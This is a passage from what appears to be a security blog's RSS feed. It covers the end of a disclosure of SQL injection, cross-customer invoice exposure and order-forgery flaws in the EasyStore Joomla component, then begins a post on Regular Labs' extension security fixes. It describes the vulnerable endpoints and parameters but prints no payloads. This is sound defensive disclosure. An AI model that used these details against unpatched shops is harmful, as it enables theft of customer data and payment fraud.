&lt;p&gt;The consequence is a textbook &lt;a href=&quot;https://owasp.org/www-community/attacks/SQL_Injection&quot;&gt;SQL injection&lt;/a&gt; reachable by an anonymous visitor: an attacker could read any table in the Joomla database, from user accounts and password hashes to the site secret and every customer&apos;s stored order data. We confirmed it on our test install with a time-based proof, a crafted sort value that made the database pause for a measurable few seconds versus an instant baseline, which shows the injected code ran. We did not extract real data. The fix (confirmed in 2.0.2) restricts the direction to a fixed allow-list before it reaches the query.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;A database read writes nothing. No file changes, no new admin user, no web shell, nothing for an integrity scanner to find. If a vulnerable version was ever live on a busy shop, treat the database as potentially copied: rotate the Joomla secret and any stored API keys, and assume password hashes are known.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Fair credit: the PayPal side was built correctly&lt;/h2&gt;
&lt;p&gt;It would be easy to read three findings and conclude the whole component is careless. It is not. The part that most often goes wrong in ecommerce extensions, the payment gateway callback, is built properly here. EasyStore&apos;s PayPal webhook verifies the notification&apos;s cryptographic signature, checks the merchant email, and reads the payment status back from PayPal&apos;s own signed response rather than trusting request parameters. The order total is computed server-side from the database, not taken from the client. That is the right way to do it, and it is worth saying so.&lt;/p&gt;
&lt;p&gt;The order-forgery flaw was not a weakness in PayPal handling. It was a separate, manual-payment code path that skipped the checks the gateway path applied. The lesson is a familiar one: security has to hold on &lt;strong&gt;every&lt;/strong&gt; path that changes state, not just the obvious one.&lt;/p&gt;
&lt;h2&gt;Which versions are affected?&lt;/h2&gt;
&lt;p&gt;EasyStore &lt;strong&gt;2.0.1&lt;/strong&gt;, the current release at the time of disclosure, and &lt;strong&gt;every earlier version&lt;/strong&gt; are affected by all three issues. JoomShaper fixed them in EasyStore &lt;strong&gt;2.0.2&lt;/strong&gt;, released 23 July 2026.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;If you run any version of EasyStore earlier than 2.0.2, assume your shop is affected and update now. Two of the three flaws need no login, so there is no second precondition for an attacker to satisfy: if the shop is online, the endpoints are reachable.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;How do you update EasyStore safely?&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Take a backup first.&lt;/strong&gt; Before any extension update on a production Joomla site, back up the database and files. If you use mySites.guru, &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;trigger a snapshot&lt;/a&gt; or a &lt;a href=&quot;https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/&quot;&gt;full backup&lt;/a&gt; first.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update through Joomla&apos;s Extensions manager, or in bulk from mySites.guru.&lt;/strong&gt; On a single site, open the Joomla administrator, go to System, then Update, then Extensions, and let Joomla pull EasyStore 2.0.2. If you manage more than one shop, use the mySites.guru &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass update feature to upgrade EasyStore across every affected site from one dashboard&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Confirm the version.&lt;/strong&gt; After updating, check EasyStore reports 2.0.2 or later.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Clear caches.&lt;/strong&gt; Clear Joomla&apos;s cache and any CDN or page cache.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Updating closes the door. It does not undo any data an attacker may already have read, so if you handle customer data and were on a vulnerable version for a while, treat credentials and exposed data as potentially known, and review recent orders for any that were marked paid without a matching payment.&lt;/p&gt;
&lt;h2&gt;How do I find every EasyStore shop I manage?&lt;/h2&gt;
&lt;p&gt;The first question after any extension security release is the awkward one: which of my sites actually run this? Up to about ten sites, you can log in to each Joomla admin and check. Past that, you need a single view.&lt;/p&gt;
&lt;p&gt;mySites.guru keeps a live inventory of every extension, template and framework on every Joomla and WordPress site in your account. You search for EasyStore once and get back every connected site running it, the version each one is on, and whether an update is available.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;View every EasyStore install across your sites&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions&quot;&gt;Open your Extension Inventory&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Search for EasyStore across every connected Joomla site and filter for anything earlier than 2.0.2. Not a subscriber? &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Sign up free&lt;/a&gt; and connect your sites.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Why ecommerce extensions carry extra weight&lt;/h2&gt;
&lt;p&gt;A shop is not a brochure. When a page builder has a bug, the exposure is the site&apos;s data. When an ecommerce component has one, the exposure is the site&apos;s data plus its customers&apos; personal and order details, plus, in the order-forgery case, real money. That raises the stakes on exactly the code that has to accept anonymous requests to work: the cart, the checkout, the payment callbacks.&lt;/p&gt;
&lt;p&gt;We have found the same shape of issue across the Joomla extension ecosystem this year, in &lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-unauthenticated-file-upload-rce/&quot;&gt;page builders&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/&quot;&gt;form builders&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/dpcalendar-sql-injection-disclosure/&quot;&gt;calendars&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/acymailing-sql-injection-disclosure/&quot;&gt;newsletter systems&lt;/a&gt;: a public endpoint that reaches a sensitive operation with too little checking in between. The lesson is not &quot;avoid these tools&quot;. The reputable ones are usually well maintained, and the EasyStore fix itself is solid. What let this one down was not the code but the handling: a set of critical flaws quietly patched with no security notice, which leaves the shop owners who most need to update fastest with the least reason to think they must. Keeping these extensions updated is security-critical, not just feature maintenance, and that is far easier when something is watching the versions for you.&lt;/p&gt;
&lt;h2&gt;Stay ahead of the next one&lt;/h2&gt;
&lt;p&gt;There will be another, because Joomla runs on thousands of third-party extensions and the ones that accept input from anonymous visitors keep producing bugs like these. The hard part is never the update itself. It is knowing a fix exists, knowing which of your sites are affected, and getting to them before an attacker does, which is harder still when a critical fix ships without a word about security.&lt;/p&gt;
&lt;p&gt;That is the job mySites.guru does for you. It keeps a live inventory of every extension on every Joomla and WordPress site in your account, flags the ones with a known vulnerability, and lets you push the update to all of them from one screen.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Get free email alerts when a Joomla vulnerability breaks&lt;/p&gt;
  &lt;p&gt;We email a plain-English alert the moment a serious flaw like this one is disclosed, with the affected versions and what to do. No charge, unsubscribe any time.&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://list.mysites.guru/subscribe&quot;&gt;Subscribe to security alerts&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Want the alerts and the tooling to act on them? Start with a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; on one site and see your full extension inventory, or &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;sign up for mySites.guru&lt;/a&gt; to get vulnerability alerts and one-click updates across every site you manage.&lt;/p&gt;
&lt;h2&gt;Disclosure and severity&lt;/h2&gt;
&lt;p&gt;Two of these three flaws are reachable by an anonymous visitor over the network with no privileges: the order forgery (a broken access control that changes order state and payment status, CWE-862 and CWE-639) and the SQL injection (CWE-89). The third, cross-customer order and invoice disclosure, is an insecure direct object reference (CWE-639) reachable by any authenticated customer.&lt;/p&gt;
&lt;p&gt;The Joomla CNA scored these three issues when it assigned the CVEs, and rated two of the three &lt;strong&gt;Critical&lt;/strong&gt;: the SQL injection (CVE-2026-65761) at &lt;strong&gt;9.3&lt;/strong&gt; and the cross-customer invoice disclosure (CVE-2026-65760) at &lt;strong&gt;9.2&lt;/strong&gt;, with the order forgery (CVE-2026-65759) at &lt;strong&gt;8.7, High&lt;/strong&gt;. Our own pre-assignment scores were more conservative, and it is worth being open about why. We scored the SQL injection 8.7 on confidentiality alone, treating it as a read through the sort clause; the CNA scored it across confidentiality, integrity and availability, which takes it to 9.3. We scored the invoice disclosure 7.1 because in practice it needs a logged-in customer account; the CNA scored it with no privilege requirement and a system-level confidentiality impact, which takes it to 9.2. The direction is the same either way, and we treat all three with the urgency the Critical ratings imply.&lt;/p&gt;
&lt;div&gt;
  &lt;div&gt;
    &lt;div&gt;
      &lt;span&gt;9.3&lt;/span&gt;
      &lt;span&gt;CVSS 4.0&lt;/span&gt;
    &lt;/div&gt;
    &lt;div&gt;
      &lt;p&gt;
        &lt;span&gt;Critical&lt;/span&gt;
        &lt;span&gt;Highest of three findings: the unauthenticated SQL injection (CVE-2026-65761), scored 9.3 Critical by the Joomla CNA&lt;/span&gt;
      &lt;/p&gt;
      &lt;p&gt;Reachable over the internet with no login. The SQL injection reads the entire site database, password hashes included; a second unauthenticated flaw (CVE-2026-65759) marks any order paid and rewrites arbitrary order records; a third (CVE-2026-65760, scored 9.2 Critical) lets any logged-in customer read every other customer&apos;s invoice.&lt;/p&gt;
      &lt;div&gt;
        &lt;span&gt;No login needed&lt;/span&gt;
        &lt;span&gt;Exploitable over the internet&lt;/span&gt;
        &lt;span&gt;Free orders and order tampering&lt;/span&gt;
        &lt;span&gt;Full database read&lt;/span&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Each finding, scored under CVSS 4.0:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Finding&lt;/th&gt;
&lt;th&gt;CVE&lt;/th&gt;
&lt;th&gt;Vector (&lt;code&gt;CVSS:4.0/...&lt;/code&gt;)&lt;/th&gt;
&lt;th&gt;Score&lt;/th&gt;
&lt;th&gt;Severity&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Unauthenticated order/payment forgery&lt;/td&gt;
&lt;td&gt;CVE-2026-65759&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;8.7&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unauthenticated SQL injection (full DB read)&lt;/td&gt;
&lt;td&gt;CVE-2026-65761&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;9.3&lt;/td&gt;
&lt;td&gt;Critical&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cross-customer order/invoice IDOR&lt;/td&gt;
&lt;td&gt;CVE-2026-65760&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;9.2&lt;/td&gt;
&lt;td&gt;Critical&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The vectors above are the Joomla CNA&apos;s. Our own pre-assignment reads were more conservative on two of them: we scored the SQL injection on confidentiality alone, as a read through the sort clause, and the customer-invoice IDOR at 7.1 because in practice it needs a logged-in account. The CNA scored the SQL injection across full confidentiality, integrity and availability, and the IDOR with no privilege requirement and a system-level confidentiality impact, which is what takes both into the Critical range. We reported all three to JoomShaper as Critical, and the invoice disclosure, whose practical impact is the whole customer base&apos;s personal data, is why it leads this post.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Component&lt;/td&gt;
&lt;td&gt;EasyStore for Joomla (&lt;code&gt;com_easystore&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Vendor&lt;/td&gt;
&lt;td&gt;JoomShaper (&lt;a href=&quot;https://www.joomshaper.com/&quot;&gt;joomshaper.com&lt;/a&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Type&lt;/td&gt;
&lt;td&gt;Cross-customer IDOR data exposure (CWE-639); unauthenticated order forgery / broken access control (CWE-862, CWE-639); unauthenticated SQL injection (CWE-89)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVSS 4.0&lt;/td&gt;
&lt;td&gt;9.3 (Critical) SQL injection; 9.2 (Critical) cross-customer invoice IDOR; 8.7 (High) order/payment forgery (Joomla CNA scores)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVE&lt;/td&gt;
&lt;td&gt;CVE-2026-65759 (order/payment forgery), CVE-2026-65760 (cross-customer IDOR), CVE-2026-65761 (SQL injection), assigned by the Joomla CNA on 23 July 2026; the CVE records name Phil Taylor as the finder. JoomShaper did not request a CVE and gave no disclosure credit&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Impact&lt;/td&gt;
&lt;td&gt;Cross-customer personal-data and invoice disclosure; free orders and arbitrary order tampering; anonymous read of the whole database including password hashes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Finder&lt;/td&gt;
&lt;td&gt;Phil Taylor, mySites.guru&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected versions&lt;/td&gt;
&lt;td&gt;2.0.1 and all earlier versions&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fixed in&lt;/td&gt;
&lt;td&gt;EasyStore 2.0.2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Reported&lt;/td&gt;
&lt;td&gt;21 July 2026 (privately to JoomShaper)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Acknowledged&lt;/td&gt;
&lt;td&gt;22 July 2026 (JoomShaper reproduced and verified all three)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fixed&lt;/td&gt;
&lt;td&gt;23 July 2026, EasyStore 2.0.2 (shipped with no security advisory)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/quix-sql-injection-disclosure/&quot;&gt;Our Quix Page Builder SQL injection disclosure&lt;/a&gt; and the wider &lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;month of Joomla security disclosures&lt;/a&gt; - the same class of bug across the ecosystem.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;Why AJAX endpoints are a CMS security blind spot&lt;/a&gt; - the recurring public-endpoint pattern behind flaws like these.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-check-joomla-database-security/&quot;&gt;How to check your Joomla database security&lt;/a&gt; - what to review and rotate if a vulnerable extension was ever live.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/639.html&quot;&gt;CWE-639: Insecure Direct Object Reference&lt;/a&gt; and &lt;a href=&quot;https://cwe.mitre.org/data/definitions/89.html&quot;&gt;CWE-89: SQL Injection&lt;/a&gt; - the canonical references for these weakness classes.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomshaper.com/&quot;&gt;JoomShaper&lt;/a&gt; - the vendor&apos;s site, where EasyStore 2.0.2 is available.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/cotton-cloud-incomplete-security-fix/&quot;&gt;Cotton Cloud patched the login, then the data&lt;/a&gt; - the same by-id ownership gap in a Joomla file storage extension, and the fix that looked right in the diff and never ran.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>easystore</category><category>sql injection</category><category>ecommerce</category><category>vulnerability</category><category>responsible disclosure</category><enclosure url="https://mysites.guru/_astro/easystore-security-disclosure.Dj8PBQs7.png" length="0" type="image/png"/></item><item><title>Regular Labs Patched Its Whole Joomla Extension Catalogue at Once</title><link>https://mysites.guru/blog/regular-labs-joomla-extension-security-release/</link><guid isPermaLink="true">https://mysites.guru/blog/regular-labs-joomla-extension-security-release/</guid><description>Regular Labs shipped a security-hardening update across its entire Joomla extension range on 22 July 2026: SSRF, command injection, stored XSS and more. No CVEs. Update every Regular Labs extension now.</description><pubDate>Wed, 22 Jul 2026 17:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://regularlabs.com/&quot;&gt;Regular Labs&lt;/a&gt;, the one-developer Joomla shop Peter van Westen has run since 2010 (you may remember it as NoNumber before the 2016 rebrand), is one of the most widely installed names in the ecosystem. The vendor says its extensions run on more than 100,000 websites, and on our own account the shared Regular Labs Library alone sits on more than 16,000 of the Joomla sites we manage, with household-name extensions like Advanced Module Manager, Sourcerer, Articles Anywhere and Cache Cleaner on thousands each. On 22 July 2026 Regular Labs pushed a security-hardening update across roughly 30 of those extensions at once, and did it quietly: no separate advisory, no CVE numbers, just a stack of changelog entries tagged &lt;code&gt;[SECURITY FIX]&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;That combination, huge install base and a low-key rollout, is exactly how a release like this gets missed. If you run any Regular Labs extension on a Joomla site, update it now. If you manage more than a handful of sites, read on for how to find every affected one at once.&lt;/p&gt;
&lt;h2&gt;mySites.guru already flags the affected sites&lt;/h2&gt;
&lt;p&gt;You do not have to read 30 changelogs and cross-check them against every site by hand. mySites.guru keeps a live inventory of every extension on every connected Joomla site, and we have added detection rules for the vulnerable versions of the higher-risk extensions in this release. Any connected site still running an affected version is flagged automatically, with the exact version it is on and whether the fix is available.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;See every Regular Labs extension across your sites&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions&quot;&gt;Open your Extension Inventory&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Search for Cache Cleaner, Sourcerer or any Regular Labs extension across every connected Joomla site and filter for outdated versions. Not a subscriber? &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Sign up free&lt;/a&gt; and connect your sites.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Regular Labs shipped a &lt;strong&gt;coordinated security-hardening update across roughly 30 Joomla extensions&lt;/strong&gt; on 22 July 2026&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Two fixes are in the shared Regular Labs Library&lt;/strong&gt;, so they affect every one of their extensions: privileged AJAX endpoints that did not consistently enforce tokens and permissions, and a bundled HTTP-message library updated to close a request start-line injection&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cache Cleaner&lt;/strong&gt; fixed the most serious set: server-side request forgery to private networks, an OS command injection reaching a shell command on SiteGround hosts, path traversal and credential exposure&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;GeoIP&lt;/strong&gt; fixed unauthenticated client-IP header spoofing that can bypass GeoIP-based access rules and Conditions&lt;/li&gt;
&lt;li&gt;The &lt;strong&gt;Articles, Modules and Users Anywhere&lt;/strong&gt; content plugins fixed SSRF via external image downloads, stored cross-site scripting and exposure of restricted content and authentication data&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Modals&lt;/strong&gt; and &lt;strong&gt;Tooltips&lt;/strong&gt; fixed stored XSS through decoded HTML; &lt;strong&gt;Keyboard Shortcuts&lt;/strong&gt; stopped shortcut overrides running arbitrary JavaScript; &lt;strong&gt;Sourcerer 13.0.0&lt;/strong&gt; restricts PHP in articles to Super Users&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Sourcerer needed a second release.&lt;/strong&gt; On 17 August 2026, &lt;a href=&quot;https://mysites.guru/blog/sourcerer-14-unverified-content-php-execution/&quot;&gt;Sourcerer 14.0.0 closed the other half of the same problem&lt;/a&gt;: 13.0.0 checked the origin of code in articles, but nowhere else in the page. Every 13.x build is affected&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No CVEs were assigned.&lt;/strong&gt; These are Joomla &lt;strong&gt;extension&lt;/strong&gt; issues, not Joomla core&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update every Regular Labs extension you run.&lt;/strong&gt; mySites.guru already flags every connected site still on a vulnerable version&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;What Regular Labs actually shipped&lt;/h2&gt;
&lt;p&gt;Two of the security fixes in this release are not in any single extension. They are in the &lt;a href=&quot;https://regularlabs.com/regularlabslibrary&quot;&gt;Regular Labs Library&lt;/a&gt;, the shared framework that every Regular Labs extension installs and loads, which is why the same two lines appear at the bottom of nearly every changelog.&lt;/p&gt;
&lt;p&gt;The first is that Regular Labs&apos; &lt;strong&gt;privileged AJAX endpoints did not consistently enforce valid tokens, matching permissions, and trusted form configuration&lt;/strong&gt;. AJAX endpoints are the quiet back door of CMS security: they are reachable over the web, they are easy to forget when you audit permissions, and a missing token or capability check turns an administrator-only action into something a lower-privileged user, or a forged cross-site request, can trigger. We wrote about &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;why AJAX endpoints are a CMS security blind spot&lt;/a&gt; before this release, and it is the exact pattern being hardened here across the whole catalogue.&lt;/p&gt;
&lt;p&gt;The second is a &lt;strong&gt;bundled HTTP-message library updated to fix a request start-line injection&lt;/strong&gt;. Regular Labs extensions that make outbound HTTP requests ship a copy of a PSR-7 message library, and a carriage-return or line-feed smuggled into the request line, protocol version or reason phrase without validation can inject extra headers or split a second request. The changelog names neither the library nor a CVE, but the wording lines up closely with a known issue in the widely-used &lt;code&gt;guzzlehttp/psr7&lt;/code&gt; package, &lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-55766&quot;&gt;CVE-2026-55766&lt;/a&gt;, a CRLF injection in HTTP start-line serialization fixed in psr7 2.12.1 and disclosed in June 2026. We cannot confirm from closed source that this is the exact dependency Regular Labs bundles, but the description matches. It is a lower-priority fix for most sites, and it travels with every extension you update.&lt;/p&gt;
&lt;p&gt;Beyond those two, most of the release is administrator-side hardening: adding the token or permission check that should have gated an admin route, escaping stored values before they render in the admin, rejecting SQL comment and write keywords in DB Replacer&apos;s custom filters. Important, but exploitable mainly by someone who already has an account. The issues worth prioritising are the handful that reach further.&lt;/p&gt;
&lt;h2&gt;Which Regular Labs extensions have the serious fixes?&lt;/h2&gt;
&lt;p&gt;A few extensions fixed issues that an unauthenticated visitor, or a low-privilege user, can reach. These are the ones to update first.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Extension&lt;/th&gt;
&lt;th&gt;Fixed in&lt;/th&gt;
&lt;th&gt;The issue that matters&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Cache Cleaner&lt;/td&gt;
&lt;td&gt;10.0.0&lt;/td&gt;
&lt;td&gt;SSRF to private/reserved networks, OS command injection (host value to shell on SiteGround), path traversal, CDN credentials exposed in admin URLs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GeoIP&lt;/td&gt;
&lt;td&gt;7.0.0&lt;/td&gt;
&lt;td&gt;Unauthenticated client-IP header spoofing bypassing GeoIP access rules; SSRF, credential exposure and unsafe archive extraction on database update&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Articles Anywhere&lt;/td&gt;
&lt;td&gt;19.0.0&lt;/td&gt;
&lt;td&gt;SSRF via external image downloads, stored XSS through tag HTML, restricted/unpublished content and authentication data exposure&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Modules Anywhere&lt;/td&gt;
&lt;td&gt;9.0.0&lt;/td&gt;
&lt;td&gt;Stored XSS, module access and publication bypass, module data exposed to unauthorised logged-in users&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Users Anywhere&lt;/td&gt;
&lt;td&gt;2.0.0&lt;/td&gt;
&lt;td&gt;SSRF via external image downloads, stored XSS, authentication and restricted contact data exposure&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Modals&lt;/td&gt;
&lt;td&gt;16.0.0&lt;/td&gt;
&lt;td&gt;Stored XSS through decoded modal HTML; gallery folder path traversal&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Tooltips&lt;/td&gt;
&lt;td&gt;10.0.0&lt;/td&gt;
&lt;td&gt;Stored XSS through decoded tooltip HTML&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Keyboard Shortcuts&lt;/td&gt;
&lt;td&gt;4.0.0&lt;/td&gt;
&lt;td&gt;Shortcut action overrides accepted arbitrary inline JavaScript&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Sourcerer&lt;/td&gt;
&lt;td&gt;13.0.0&lt;/td&gt;
&lt;td&gt;PHP in articles restricted to Super Users; CSS/JS/PHP permissions enforced across article creators and modifiers&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Cache Cleaner is the one to update first&lt;/h3&gt;
&lt;p&gt;Cache Cleaner runs on more of the sites we manage than any other Regular Labs extension in this release, and it fixed the widest set of issues. The standouts are a &lt;strong&gt;server-side request forgery&lt;/strong&gt; where custom query URLs could reach private or reserved network services, and an &lt;strong&gt;OS command injection&lt;/strong&gt; on SiteGround hosts where a request host value could reach a shell command. It also closed a path traversal in custom folder and log paths and stopped CDN provider credentials appearing in administrator request URLs. Update to Cache Cleaner 10.0.0.&lt;/p&gt;
&lt;h3&gt;GeoIP and Conditions: spoofable IP headers&lt;/h3&gt;
&lt;p&gt;GeoIP fixed something that reaches every site using it for access control: &lt;strong&gt;GeoIP lookups trusted spoofable forwarded client-IP headers&lt;/strong&gt;. If you gate content, logins or Regular Labs Conditions on a visitor&apos;s country or IP, an attacker could forge the header and present as any location they liked. The same spoofing fix appears in the Conditions component that ships with Advanced Module Manager, Conditional Content, Content Templater and ReReplacer, so it is not only GeoIP users who benefit. GeoIP&apos;s database-update path also fixed SSRF, credential exposure and unsafe archive extraction. Update GeoIP to 7.0.0 and the Conditions-bearing extensions to their fixed versions.&lt;/p&gt;
&lt;h3&gt;The &quot;Anywhere&quot; content plugins: SSRF and stored XSS&lt;/h3&gt;
&lt;p&gt;Articles Anywhere, Modules Anywhere and Users Anywhere render content through front-end tags, and all three fixed the same shape of problem. &lt;strong&gt;External image downloads accepted unsafe hosts, redirects and local folders&lt;/strong&gt; (SSRF), &lt;strong&gt;tag-provided custom HTML could render unsafe markup&lt;/strong&gt; (stored XSS), and tags could &lt;strong&gt;expose restricted or unpublished content and authentication data&lt;/strong&gt;. Several of the fixes are breaking changes: tag-provided custom HTML now renders as escaped text rather than markup, so if you relied on that behaviour, test after updating. Update Articles Anywhere to 19.0.0, Modules Anywhere to 9.0.0 and Users Anywhere to 2.0.0.&lt;/p&gt;
&lt;h3&gt;Sourcerer tightens who can run PHP&lt;/h3&gt;
&lt;p&gt;Sourcerer lets you place code, including PHP, inside Joomla content, which makes it powerful and sensitive in equal measure. Version 13.0.0 &lt;strong&gt;restricts PHP in articles to content created and last modified by Super Users&lt;/strong&gt;, and enforces the configured CSS, JavaScript and PHP permissions across both the creator and the last editor of an article, closing the gap where a lower-privilege editor could get code executed. This is separate from the older Sourcerer code-execution issue &lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2025-22204&quot;&gt;CVE-2025-22204&lt;/a&gt;, fixed back in 11.0.0. Note that 13.0.0 keeps your existing Pro security settings on update, so open the configuration and opt into the stricter defaults deliberately.&lt;/p&gt;
&lt;h2&gt;These are extension flaws, not a Joomla core problem&lt;/h2&gt;
&lt;p&gt;The distinction is worth getting right, because the Joomla community rightly bristles when extension issues get reported as &quot;Joomla vulnerabilities&quot;. Nothing in this release is a flaw in Joomla itself. Joomla core is unaffected. What happened is that a single vendor whose code is installed almost everywhere shipped fixes across its whole range at once, which is a different thing from a core security release.&lt;/p&gt;
&lt;p&gt;It also changes how you respond. You do not need to touch Joomla core for any of this. You need to update the Regular Labs extensions, and you need to know which of your sites run them, because the blast radius here is defined by &quot;do you have this extension installed&quot;, not by your Joomla version.&lt;/p&gt;
&lt;h2&gt;No CVE does not mean no risk&lt;/h2&gt;
&lt;p&gt;There are no CVE numbers on the 22 July issues, and it would be easy to read that as &quot;not serious&quot;. That inference is wrong. A CVE is a tracking identifier, not a severity rating, and plenty of genuinely dangerous issues never get one, especially when a vendor fixes them in a changelog rather than filing an advisory. An unauthenticated SSRF or a stored XSS is exactly as exploitable whether or not a number is attached to it.&lt;/p&gt;
